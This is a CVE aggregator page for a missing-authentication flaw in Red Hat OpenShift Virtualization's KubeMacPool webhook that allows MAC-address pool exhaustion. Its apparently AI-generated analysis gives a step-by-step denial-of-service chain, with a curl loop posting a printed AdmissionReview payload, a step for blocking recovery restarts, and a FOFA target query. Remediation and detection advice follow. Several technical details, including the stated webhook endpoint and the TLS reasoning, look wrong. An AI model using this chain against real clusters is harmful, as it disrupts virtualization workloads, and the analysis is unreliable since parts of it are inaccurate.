CVE Professor
/
All CVEs
CVE-2026-142120

CVE-2026-142120 — Red Hat OpenShift Virtualization 4 — CWE-306

MEDIUM CVSS 6.5 NVD

A flaw was found in KubeMacPool. The mutating admission webhooks do not authenticate the caller. A user who can run a pod in the cluster can cause the service to reserve MAC addresses for objects that are never created. Reservations made through the pod webhook remain until the KubeMacPool process is restarted. The webhooks fail closed, so once allocation fails, creation of KubeVirt virtual machines is rejected. Existing virtual machines continue to run.

A flaw was found in KubeMacPool. The mutating admission webhooks do not authenticate the caller. A user who can run a pod in the cluster can cause the service to reserve MAC addresses for objects that are never created. Reservations made through the pod webhook remain until the KubeMacPool process is restarted. The webhooks fail closed, so once allocation fails, creation of KubeVirt virtual machines is rejected. Existing virtual machines continue to run.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Root cause
The KubeMacPool component in Red Hat OpenShift Virtualization (4.x and 5.x) exposes a mutating admission webhook that is responsible for reserving MAC addresses for virtual‑machine (VM) objects. The webhook is unprotected – it does not perform any authentication or authorization on the caller. Consequently, any pod that can be created in the cluster (i.e., any user with the create pod permission) can send arbitrary admission requests to the webhook.

What the flaw does
When a pod is created, the webhook receives the admission request, reserves a MAC address for the object that will be created, and returns a patch. Because the webhook does not verify the identity of the caller, an attacker can:

1. Send a large number of admission requests that reserve MAC addresses for objects that are never actually created.
2. Keep doing this until the MAC‑address pool is exhausted.
3. The reservations persist until the KubeMacPool process is restarted, so the pool remains depleted for an extended period.

The webhook is fail‑closed: if it cannot allocate a MAC address, it rejects the admission request. In the context of KubeVirt, this means that any subsequent VM creation will fail until the pool is replenished. Existing VMs continue to run because their MAC addresses were already allocated before the exhaustion occurred.

CWE – CWE‑306: Missing Authentication for a Function
CVSS – 6.5/10 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker with the ability to create pods can use to trigger the denial‑of‑service (DoS) condition.

StepActionTechnical Detail
1. Discovery & ReconnaissanceIdentify that the target is running OpenShift Virtualization 4.x/5.x and that KubeMacPool is enabled.kubectl get deployment -n openshift-virtualization kube-macpool <br> kubectl get mutatingwebhookconfigurations – look for a webhook named kube-macpool-mutating (or similar).
2. Verify the webhook is unauthenticatedInspect the webhook configuration.kubectl get mutatingwebhookconfigurations kube-macpool-mutating -o yaml <br> Look for clientConfig.service and absence of clientConfig.caBundle or clientConfig.service.port that would normally enforce TLS client auth.
3. Craft a malicious admission requestBuild a JSON payload that mimics a pod creation request but only triggers the MAC‑reservation logic.The payload must include a request object with kind: Pod, apiVersion: v1, and a minimal metadata section. The webhook will treat it as a normal pod creation and reserve a MAC.
4. Send the request repeatedlyUse curl or a small Go/Python script to POST the payload to the webhook endpoint.The endpoint is internal to the cluster; the attacker can reach it from any pod. Example (illustrative – the exact URL may differ):<br>``bash\ncurl -k \\\n -H \"Content-Type: application/json\" \\\n -d @admission_request.json \\\n https://kube-apiserver:6443/apis/admissionregistration.k8s.io/v1/webhooks/kube-macpool-mutating\n`\nThe -k flag is used because the webhook may use a self‑signed cert.
5. Exhaust the MAC‑address poolRepeat step 4 until the pool is full. Each request reserves one MAC.A simple loop: for i in {1..1000}; do curl …; done – the exact number depends on the pool size (typically 256–512).
6. Observe the effect on VM creationAttempt to create a KubeVirt VM.kubectl create -f my-vm.yaml – the admission controller will reject the request with an error such as Failed to allocate MAC address: pool exhausted`.
7. Post‑exploitation (optional)If the attacker wants to keep the DoS alive, they can keep the KubeMacPool process from restarting (e.g., by blocking the restart signal or by disabling automatic restarts).Not required for the DoS; the pool remains exhausted until a manual restart of KubeMacPool or a node reboot.

Illustrative PoC (JSON payload)

{
  "apiVersion": "admission.k8s.io/v1",
  "kind": "AdmissionReview",
  "request": {
    "uid": "12345678-1234-1234-1234-1234567890ab",
    "kind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "resource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "requestKind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "requestResource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "name": "mac-reserve-test",
    "namespace": "default",
    "operation": "CREATE",
    "userInfo": {
      "username": "system:serviceaccount:default:tester",
      "uid": "system:serviceaccount:default:tester",
      "groups": ["system:serviceaccounts", "system:serviceaccounts:default", "system:authenticated"]
    },
    "object": {
      "metadata": {
        "name": "mac-reserve-test",
        "namespace": "default"
      },
      "spec": {
        "containers": [
          {
            "name": "pause",
            "image": "k8s.gcr.io/pause:3.1"
          }
        ]
      }
    },
    "oldObject": null,
    "dryRun": false,
    "options": {
      "kind": "CreateOptions",
      "apiVersion": "meta.k8s.io/v1"
    }
  }
}
NOTE: The exact URL and TLS configuration of the webhook are internal to the cluster. The example above is illustrative; the real endpoint will be something like https://kube-apiserver:6443/apis/admissionregistration.k8s.io/v1/webhooks/kube-macpool-mutating.

🌍 Real World Impact

ImpactCVSS VectorExplanation
Availability (A:H)AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:HThe attacker can exhaust the MAC‑address pool, causing *all* subsequent KubeVirt VM creations to fail. Existing VMs keep running, but new workloads cannot be provisioned.
Confidentiality (C:N)–No data is leaked.
Integrity (I:N)–No tampering with data.
Privilege EscalationNoThe attacker only needs create pod permission, which is typically granted to many users.
RCE / Data ExfiltrationNoThe flaw does not provide code execution or data access.

Practical consequences

  • Service disruption – Virtualization workloads cannot be started, which can halt business processes that rely on VMs.
  • Operational overhead – Administrators must manually restart the KubeMacPool process or reboot nodes to recover the pool.
  • Potential cascading failures – If the virtualization layer is a critical component (e.g., for a cloud‑native platform), the DoS can affect downstream services that depend on VM provisioning.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ProductAffected VersionsFix
    Red Hat OpenShift Virtualization4.x (all minor releases) and 5.x (all minor releases)Red Hat has released a fix that adds authentication to the KubeMacPool admission webhook. Upgrade to the latest release of OpenShift Virtualization.
    Red Hat OpenShift Container Platform4.12+ (includes the updated KubeMacPool)Upgrade to the latest 4.x release.
    How to check
    yum list installed | grep openshift-virtualization
    oc adm release info – compare the current release with the latest errata on the Red Hat Customer Portal.

    2. Workarounds (if patching is not immediately possible)

    MitigationHow to Implement
    Restrict network access to the webhookUse a NetworkPolicy that allows traffic to the webhook service only from the kube‑apiserver pod. Example: <br>kubectl apply -f - <<EOF\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n name: restrict-kubemacpool-webhook\n namespace: openshift-virtualization\nspec:\n podSelector:\n matchLabels:\n app: kube-macpool\n ingress:\n - from:\n - podSelector:\n matchLabels:\n component: kube-apiserver\nEOF
    Disable the mutating admission webhookIf you do not need automatic MAC reservation, delete the webhook configuration: <br>kubectl delete mutatingwebhookconfigurations kube-macpool-mutating
    Limit pod creation permissionsTighten RBAC so that only trusted service accounts can create pods. Example: <br>kubectl create rolebinding mac-reserve-allow --role=pod-creator --serviceaccount=default:trusted-sa --namespace=default
    Restart KubeMacPool manuallyoc delete pod -n openshift-virtualization -l app=kube-macpool – the deployment will recreate the pod and reset the MAC pool.

    3. Detection

    IndicatorLog sourceExample
    Repeated MAC reservationsKubeMacPool logs (/var/log/kube-macpool.log or journalctl -u kube-macpool)2026-12-03T12:34:56Z INFO Reserved MAC address 02:42:ac:11:00:01 for pod default/mac-reserve-test
    Admission webhook requests from unexpected podsAPI server audit logs (/var/log/openshift-apiserver/audit.log){"verb":"create","user":"system:serviceaccount:default:tester","objectRef":{"resource":"pods","name":"mac-reserve-test"}}
    VM creation failures due to MAC exhaustionKubeVirt logs (/var/log/kubevirt/virt-launcher.log)Failed to allocate MAC address: pool exhausted

    Tip: Enable API server audit logging with a policy that records create operations on pods and virtualmachines. This will surface suspicious activity early.


    ⚠️ Urgency

  • CVSS score: 6.5 (Medium) – but the vector indicates a high availability impact.
  • Exploit complexity: Low – only requires create pod permission, which is commonly granted.
  • CISA KEV status: No – but the DoS potential is significant for production environments.
  • Recommended priority: High.
* If the cluster hosts critical workloads (e.g., production VMs, CI/CD pipelines, or cloud‑native services), patch or mitigate immediately. * For non‑critical or test environments, a medium priority is acceptable, but still schedule a patch within the next maintenance window.

Bottom line

The flaw is a classic missing authentication on an admission webhook that allows an attacker to reserve MAC addresses for non‑existent objects, exhausting the pool and causing a denial of service for all subsequent KubeVirt VM creations. The impact is purely availability; there is no data leakage or code execution. The fix is straightforward: upgrade to the latest OpenShift Virtualization release or apply the provided workarounds until the patch is applied.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Red Hat Red Hat OpenShift Virtualization 4"
CVSS Score
6.5 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-306
Affected Products (2)
Red Hat:Red Hat OpenShift Virtualization 4 Red Hat:Red Hat OpenShift Virtualization 5
References & Advisories (2)
Related CVEs
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack